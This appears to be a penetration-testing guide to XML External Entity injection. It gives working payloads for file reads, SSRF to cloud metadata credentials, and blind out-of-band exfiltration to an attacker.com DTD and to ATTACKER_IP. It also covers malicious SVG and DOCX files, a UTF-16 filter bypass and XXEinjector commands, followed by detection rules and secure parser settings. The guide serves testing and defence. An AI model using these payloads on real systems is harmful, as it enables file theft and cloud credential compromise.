XML external entity injection attack diagram

XML External Entity (XXE) Injection

XXE injection attack guide for file disclosure, SSRF, and blind out-of-band data exfiltration through XML parsers.

Aug 4, 2026
2 min read

Introduction

XML External Entity injection exploits the XML specification's support for ENTITY declarations that reference external resources — file paths, HTTP endpoints, or FTP URIs. When a parser expands these declarations without restriction, an attacker can read arbitrary files from the server's filesystem, initiate server-side requests to internal services, and in some configurations execute code or trigger denial of service through entity expansion loops (Billion Laughs).

The root cause is not a bug in any single parser — it is a feature of the XML 1.0 specification. External entity support predates modern threat models, and many applications inherit vulnerable parser configurations from frameworks, libraries, or third-party components that enable it by default. Office document formats (DOCX, XLSX, ODT), SVG, SAML assertions, RSS/Atom feeds, and any custom XML API are all viable attack surfaces. The impact frequently includes local file read of /etc/passwd, /etc/shadow, application configuration files with database credentials, AWS instance metadata via http://169.254.169.254/, and internal service enumeration.

SSRF via XXE is particularly dangerous in cloud environments where the metadata endpoint returns IAM credentials. A successful http:// entity request against 169.254.169.254/latest/meta-data/iam/security-credentials/ gives temporary AWS credentials that may have broad permissions. The distinction between file disclosure and SSRF comes down to the URI scheme: file:// reads from disk, http:// makes an outbound TCP connection.

Authorization Required

XXE attacks against systems you do not own or have explicit written permission to test are illegal under the Computer Fraud and Abuse Act (US), Computer Misuse Act (UK), and equivalent legislation in most jurisdictions. XXE payloads that trigger OOB callbacks will hit your attacker-controlled server — ensure it is not identifiable as belonging to a third party and is documented in your scope authorization.

Impact

  • Local file read: /etc/passwd, /proc/self/environ, application config files, private keys
  • AWS/GCP/Azure instance metadata exfiltration yielding IAM credentials
  • Internal network port scanning via http:// entity requests (response timing reveals open ports)
  • SSRF to services that trust requests from localhost (Redis, Memcached, internal APIs)
  • Credential theft from config files (database.yml, wp-config.php, .env, web.config)
  • DoS via recursive entity expansion (Billion Laughs / XML bomb)
  • Pivot to RCE when combined with PHP expect:// wrappers or readable SSH authorized_keys

Technical Details

XML parsers that support external entities must fetch and inline the content of any SYSTEM or PUBLIC entity before returning the parsed document. The attack injects a DOCTYPE declaration containing an external entity definition, then references that entity inside the document body where the application will reflect or process the content.

Two entity types matter for exploitation:

General entities (&xxe;) are expanded inline in element content — the classic reflected XXE path. Parameter entities (%xxe;) are only valid inside DTD declarations, but they can be used to load external DTD files containing entity chains that trigger OOB data exfiltration. Parameter entities are essential for blind XXE where the application never returns the parsed content.

Classic XXE — Direct File Read

Inject a DOCTYPE that declares an external entity pointing to a local file, then reference it in the XML body. The application must reflect the parsed element value somewhere in the response.

Classic file read payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<stockCheck>
  <productId>&xxe;</productId>
  <storeId>1</storeId>
</stockCheck>

Response excerpt (partial):

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

On Windows, use file:///C:/Windows/System32/drivers/etc/hosts or file:///C:/inetpub/wwwroot/web.config.

XXE to SSRF — Internal Service Probing

Replace the file:// URI with http:// to make the parser issue an outbound HTTP request. Use this to reach cloud metadata endpoints or probe internal services.

Cloud metadata via XXE SSRF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY ssrf SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<stockCheck>
  <productId>&ssrf;</productId>
  <storeId>1</storeId>
</stockCheck>

For GCP: http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token (requires Metadata-Flavor: Google header — may not work through XML entity fetch depending on parser).

For internal port scanning, iterate over ports and measure response time/error differences:

Internal port probe
<!ENTITY portscan SYSTEM "http://192.168.1.1:6379/">

A Redis instance on 6379 will return its banner; a closed port will error immediately.

Blind XXE — Out-of-Band via Parameter Entities

When the application parses XML but never reflects entity values in the response, use parameter entities to load an attacker-controlled external DTD that chains entity declarations to exfiltrate data via HTTP.

Host the following DTD on your server (https://attacker.com/evil.dtd):

attacker.com/evil.dtd — external DTD for OOB exfiltration
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % wrap "<!ENTITY &#x25; exfil SYSTEM 'https://attacker.com/collect?d=%file;'>">
%wrap;
%exfil;

Send this payload to the target:

Blind XXE payload triggering external DTD load
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "https://attacker.com/evil.dtd">
  %xxe;
]>
<stockCheck>
  <productId>1</productId>
  <storeId>1</storeId>
</stockCheck>

Your HTTP server receives a request like:

GET /collect?d=root:x:0:0:root:/root:/bin/bash%0Adaemon:x:1:1:... HTTP/1.1
Host: attacker.com

Multi-line files will be URL-encoded in the query string. Use netcat or Burp Collaborator to catch the callback.

Error-Based Blind XXE

When the application throws XML parse errors that leak content, you can trigger a deliberately malformed entity reference that embeds the file content in the error message without needing an outbound HTTP callback.

attacker.com/error.dtd — error-based exfiltration
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%exfil;

The parser attempts to open file:///nonexistent/root:x:0:0:... and emits an error containing the file content in the path.

XXE via SVG File Upload

Applications that process uploaded SVG images (avatar uploads, report exports, image converters) often parse them with a full XML parser. Inject external entity references directly into the SVG.

Malicious SVG for file read
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
  <!ELEMENT svg ANY>
  <!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
  <text x="10" y="30">&xxe;</text>
</svg>

Upload as avatar.svg. If the application renders the SVG server-side (Inkscape, ImageMagick with SVG delegate, LibreOffice) or returns it inline, the entity is resolved. Rasterizers like Batik and svg2png are also vulnerable when external entity processing is enabled.

XXE in DOCX / XLSX (Office Open XML)

DOCX and XLSX files are ZIP archives containing XML. word/document.xml in a DOCX and xl/worksheets/sheet1.xml in XLSX are parsed when the application processes uploaded documents (document converters, mail merge, report engines).

Extract and modify the document XML:

Inject XXE into DOCX
unzip target.docx -d docx_extracted/
# Edit word/document.xml to inject DOCTYPE:
# <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
# Reference &xxe; inside a <w:t> element
zip -r malicious.docx docx_extracted/
word/document.xml — modified with XXE
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<w:document xmlns:wpc="..." xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">
  <w:body>
    <w:p><w:r><w:t>&xxe;</w:t></w:r></w:p>
  </w:body>
</w:document>

LibreOffice, Apache POI (without explicit FEATURE_SECURE_PROCESSING), and python-docx pre-1.x are historically vulnerable to this.

Encoding Bypass — UTF-16

Some WAFs and input filters inspect XML for DOCTYPE patterns using byte-string matching on UTF-8 input. A UTF-16 encoded payload with a BOM bypasses these filters since the raw bytes differ entirely.

Generate UTF-16 encoded XXE payload
payload = '''<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>'''

with open("xxe_utf16.xml", "wb") as f:
    f.write(payload.encode("utf-16"))

Send with Content-Type: application/xml; charset=UTF-16. Parsers that support encoding negotiation will decode the BOM and process the DOCTYPE normally.

Attack Tools

Burp's active scanner automatically detects classic and blind XXE. The Intruder and Repeater tabs are the primary manual testing interface.

# Burp Scanner — active scan on XML endpoints
# Right-click request > Scan > Active Scan
# Findings appear under Target > Issue Activity

# For manual testing in Repeater:
# 1. Intercept XML request
# 2. Modify Content-Type to application/xml if needed
# 3. Inject DOCTYPE before root element
# 4. Use Burp Collaborator for blind OOB:
#    <!ENTITY xxe SYSTEM "http://YOUR-COLLABORATOR-ID.burpcollaborator.net">

Burp Collaborator provides a DNS/HTTP/SMTP listener. When the parser resolves the entity, the callback appears in "Poll now" results under the Collaborator client tab. This confirms blind XXE before attempting file exfiltration.

Burp Collaborator blind XXE test
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://abcd1234.burpcollaborator.net/xxe-test">
]>
<root>&xxe;</root>

XXEinjector automates file enumeration and exfiltration over HTTP OOB callbacks.

Install XXEinjector
git clone https://github.com/enjoiz/XXEinjector.git
cd XXEinjector
Basic file read via OOB
# Save the intercepted request to request.txt with XXEINJECT placeholder
ruby XXEinjector.rb \
  --host=192.168.1.100 \
  --httpport=4444 \
  --file=/tmp/request.txt \
  --path=/etc/passwd \
  --oob=http \
  --phpfilter
Enumerate /etc directory
ruby XXEinjector.rb \
  --host=192.168.1.100 \
  --httpport=4444 \
  --file=/tmp/request.txt \
  --enumports=all \
  --oob=http
request.txt placeholder format
POST /api/parse HTTP/1.1
Host: target.com
Content-Type: application/xml

XXEINJECT

The --phpfilter flag wraps file content in php://filter/convert.base64-encode to handle binary files and multi-line content that would break URL encoding.

Test for XXE with direct file read
curl -s -X POST https://target.com/api/parse \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>'
Blind OOB test with netcat listener
# Terminal 1: start listener
nc -lvnp 8080

# Terminal 2: send payload (replace ATTACKER_IP)
curl -s -X POST https://target.com/api/parse \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://ATTACKER_IP:8080/xxe">]><root>&xxe;</root>'
AWS metadata via XXE SSRF
curl -s -X POST https://target.com/api/parse \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]><root>&xxe;</root>'
PHP base64 filter for binary files
curl -s -X POST https://target.com/api/parse \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/shadow">]><root>&xxe;</root>' \
  | base64 -d

Detection

XXE attacks generate several detectable patterns across web server logs, application logs, and network telemetry.

Web Application Firewall / IDS Signatures

PatternDetection Rule
DOCTYPE in POST bodyAlert on <!DOCTYPE in XML content-type requests
SYSTEM keywordAlert on SYSTEM\s+"(file|http|ftp):// in request bodies
Entity expansion depthAlert on nested entity references exceeding depth 3
OOB callbackDNS/HTTP request from app server to external host triggered by XML parse

Application Logs

Watch for file-not-found errors in application logs that contain file paths — these indicate error-based blind XXE enumeration:

WARN  xml.parser - Failed to open: file:///etc/shadow (Permission denied)
ERROR xml.parser - External entity resolution failed: http://169.254.169.254/

Network Monitoring (SSRF component)

# Zeek/Bro signature for metadata endpoint access
event http_request(c: connection, method: string, original_URI: string, ...) {
  if ( /169\.254\.169\.254/ in original_URI )
    NOTICE([$note=Notice::Weird, $msg="IMDSv1 access attempt"]);
}

SIEM Query — Splunk

Detect DOCTYPE in XML POST requests
index=web_logs method=POST
| rex field=request_body "(?i)<!DOCTYPE\s+\w+\s*\["
| stats count by src_ip, uri_path, user_agent
| where count > 5
| sort -count

AWS CloudTrail — Detect IMDS credential access via SSRF

CloudTrail event pattern for SSRF-sourced credential access
{
  "eventSource": "sts.amazonaws.com",
  "eventName": "AssumeRole",
  "sourceIPAddress": "169.254.169.254"
}

CloudTrail does not log IMDSv1 token retrieval directly, but subsequent API calls using credentials obtained via SSRF will originate from the EC2 instance IP with an IAM role credential — correlate userIdentity.type: AssumedRole with unexpected API call patterns.

Remediation

Disable External Entity Processing — Language-Specific

Language / LibrarySecure Configuration
Java XMLInputFactoryfactory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false)
Java DocumentBuilderFactorydbf.setFeature("http://xml.org/sax/features/external-general-entities", false)
PHP libxmllibxml_disable_entity_loader(true) (PHP < 8.0); PHP 8.0+ disables by default
Python lxmletree.XMLParser(resolve_entities=False, no_network=True)
Python xml.etree.ElementTreeSafe by default since Python 3.8 (defusedxml for earlier versions)
Ruby NokogiriNokogiri::XML::ParseOptions::NONET flag
.NET XmlReaderXmlReaderSettings { DtdProcessing = DtdProcessing.Prohibit }
libxml2 (C)xmlCtxtReadMemory(..., XML_PARSE_NOENT | LIBXML_NONET) — omit XML_PARSE_NOENT, add XML_PARSE_NONET
Secure Java DocumentBuilderFactory configuration
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
Secure lxml parser configuration
from lxml import etree

parser = etree.XMLParser(
    resolve_entities=False,
    no_network=True,
    load_dtd=False,
    forbid_dtd=True,
)
tree = etree.fromstring(xml_data, parser=parser)

Architectural Mitigations

  • Migrate XML APIs to JSON where the business logic permits — eliminates the attack surface entirely
  • Validate Content-Type header before parsing: reject application/xml on endpoints that expect application/json
  • For file upload processing (DOCX, SVG), run parsers in a sandboxed subprocess or container with no network access and read-only filesystem mounts
  • Block outbound HTTP/DNS from application servers at the network perimeter to prevent OOB exfiltration callbacks
  • Enable IMDSv2 on AWS EC2 instances (HttpTokens: required) — IMDSv2 requires a PUT request with a session token before GET requests to the metadata endpoint, which XML entity fetches cannot satisfy
  • Apply egress network policies in Kubernetes to prevent application pods from reaching 169.254.169.254

References

MITRE ATT&CK Techniques

Tools Documentation

Next Steps

On this page